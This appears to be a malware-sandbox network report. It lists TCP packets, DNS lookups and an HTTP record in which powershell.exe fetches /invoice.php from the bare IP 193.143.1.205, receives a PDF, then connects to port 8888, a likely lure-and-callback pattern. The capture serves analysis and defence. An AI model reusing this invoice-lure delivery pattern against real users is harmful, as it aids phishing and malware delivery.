Jan 10, 2025 17:16:44.910507917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.939728975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939754963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939769983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939781904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939795971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939807892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939807892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.939824104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.939845085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.939874887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.943322897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957391977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957428932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957483053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957490921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957520008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957564116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957572937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957627058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957662106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957668066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957696915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957731009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957741976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957765102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957798004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957809925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957833052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957866907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957876921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957901955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957940102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.957942963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.957974911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958012104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.958014011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958046913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958080053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958086967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.958115101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958148956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958162069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.958201885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958235979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958240032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.958273888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.958312035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992285013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992324114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992336988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992352962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992363930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992376089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992378950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992398977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992410898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992422104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992428064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992438078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992460966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992485046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992526054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992537022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992558002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992569923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992573977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992582083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992594004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992609024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992613077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992621899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992630959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992635965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992650032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992679119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992683887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992691994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992705107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.992707968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.992731094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993541002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993557930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993571043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993582010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993586063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993596077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993604898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993608952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993623972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993632078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993666887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993693113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993735075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993746996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993774891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993812084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993824959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993837118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993853092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993859053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993872881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993875980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993885040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993899107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993911028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993917942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993927956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.993964911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993977070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.993988037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994002104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994009972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994014978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994028091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994030952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994050980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994077921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994090080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994110107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994118929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994129896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994152069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994184017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994198084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994213104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994221926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994225025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994247913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994333029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994345903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994358063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994369030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994374037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994383097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994395018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994399071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994409084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994431973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994432926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994452000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994456053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994465113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994477034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994483948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994489908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994493008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994498014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994509935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994512081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994527102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994539976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994549036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994652033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994689941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994755030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994766951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994779110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994797945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994798899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994823933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994846106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994853020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994872093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994885921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994896889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994935989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994951963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.994957924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.994982958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995002031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.995004892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995029926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995040894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.995054007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995078087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995095968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.995110035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.995157003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.005392075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.028107882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028125048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028136015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028150082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028161049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028173923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028186083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028184891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.028207064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.028211117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.028233051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.028249025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.041543961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045725107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045749903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045759916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045772076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045783997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045803070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045825958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045828104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045840979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045855999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045861959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045869112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045888901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045890093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045902014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045916080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045933008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045939922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045950890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045954943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045972109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045977116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.045984030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.045994997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046022892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.046025991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046037912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046051025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046056032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.046082020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.046139956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046152115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046164036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046174049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046185017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.046185970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.046263933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.051963091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080688953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080712080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080766916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080779076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080791950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080796957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080805063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080815077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080818892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080831051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080842018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080857038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080867052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080873966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080879927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080888033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080920935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.080965042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080976009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.080987930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081000090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081007004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081016064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.081022024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081027985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081041098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081043959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.081054926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.081062078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.081074953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.082010031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.200431108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.694294930 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.700553894 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:45.700663090 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.700809002 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:45.705564022 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:46.503185034 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:46.546508074 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:47.411569118 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:16:58.652937889 CET	57316	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:17:12.240032911 CET	53161	53	192.168.2.5	1.1.1.1
Jan 10, 2025 17:17:24.677150011 CET	63101	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:16:58.652937889 CET	192.168.2.5	1.1.1.1	0x9d8f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:17:12.240032911 CET	192.168.2.5	1.1.1.1	0x80ab	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:17:24.677150011 CET	192.168.2.5	1.1.1.1	0xa49f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 17:16:58.660301924 CET	1.1.1.1	192.168.2.5	0x9d8f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:17:12.248277903 CET	1.1.1.1	192.168.2.5	0x80ab	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:17:24.685010910 CET	1.1.1.1	192.168.2.5	0xa49f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1292	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:16:43.537020922 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:16:44.318893909 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:16:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:16:44.318922043 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
